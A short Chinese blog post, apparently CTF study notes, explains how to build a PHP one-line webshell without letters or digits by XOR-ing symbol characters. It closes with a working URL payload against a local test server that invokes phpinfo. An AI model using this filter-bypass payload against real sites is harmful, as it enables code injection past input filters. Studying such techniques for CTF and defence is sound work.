最近ctf经常遇到类似姿势的题目,最开始还是比较蒙的 今天来进行一个总结
文章参考p牛的博客
无字母数字 如何构造一句话木马。
这里用到三种方法
异或构造
这种方法用到特殊符号的异或最终得到数字或者字母
如上图
1 | echo "~"^"$" |
即可构造出字母 转换过程为
将两个要比较的字符转换成ascii
之后。进行异或运算后得到了字母
~
的ascii
值为126 126的二进制为1111110
$
的ascii
值为36 36的二进制为 0100100
两个二进制的值进行异或运算得到 1011010
转换成ascii
为90 也就是对应大写字母Z
那么我们如果构造处一句话 不可能一个一个去试对吧 这里贴上一个 异或得到字母的PHP脚本
1 | <?php |
CTF
一道简单的题目 首先我们构造异或后为phpinfo的 payload
1 | -^] p |
传入的知识phpinfo字符串 最终还需传入括号
最终payload为
1 | http://127.0.0.1/webshell/ctf.php?code=$_='-(-).=@'^']@]@@[/';$_(); |